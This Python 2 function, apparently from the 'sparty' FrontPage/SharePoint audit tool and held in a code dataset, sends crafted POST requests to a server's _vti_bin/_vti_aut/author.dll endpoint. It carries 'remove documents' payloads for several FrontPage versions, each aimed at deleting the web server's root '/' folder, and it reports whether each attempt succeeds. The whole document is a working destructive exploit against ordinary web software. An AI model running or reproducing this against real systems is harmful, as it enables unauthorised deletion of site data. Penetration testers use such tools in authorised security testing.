def frontpage_remove_folder(name):
        headers = {
                'MIME-Version': '4.0',
                'User-Agent': 'MSFrontPage/4.0',
                'X-Vermeer-Content-Type': 'application/x-www-form-urlencoded',
                'Connection': 'Keep-Alive'}

        # running some standard commands to remove "/" folder from the web server using author.dll
    # frontpage versions validated are: 3.0.2.1706 , 4.0.2.4715 , 5.0.2.4803, 5.0.2.2623 , 6.0.2.5420

        file_exp_target = '_vti_bin/_vti_aut/author.dll'
        payloads = ['method=remove+documents:3.0.2.1786&service_name=/','method=remove+documents:4.0.2.4715&service_name=/','method=remove+documents:5.0.3.4803&service_name=/','method=remove+documents:5.0.2.4803&service_name=/','method=remove+documents:6.0.2.5420&service_name=/']

        for item in payloads:
                destination = name + "/" + file_exp_target
                print "[+] Sending HTTP POST request to remove '/' directory to - (%s)" %destination
                try:
                        req = urllib2.Request(destination,item,headers)
                        response = urllib2.urlopen(req)
                        if response.getcode() == 200:
                                print "[+] folder removed successfully - (%s) | (%s) !\n" % (item, response.getcode())
                                for line in response.readlines():
                                        print line
                        else:
                                print "[-] fails to remove '/' folder at  - (%s) | (%s) !\n" %(item,response.getcode())

                except urllib2.URLError as e:
                        print "[-] url error, seems like authentication is required or server failed to handle request! - %s \n[-] payload [%s]\n" % (e.code,item)
                        pass

                except httplib.BadStatusLine:
                        print "[-] server responds with bad status !"
                        pass


# file uploading through author.dll
dataset/ETHPy150Open alias1/sparty/sparty_v_0.1.py/frontpage_remove_folder/original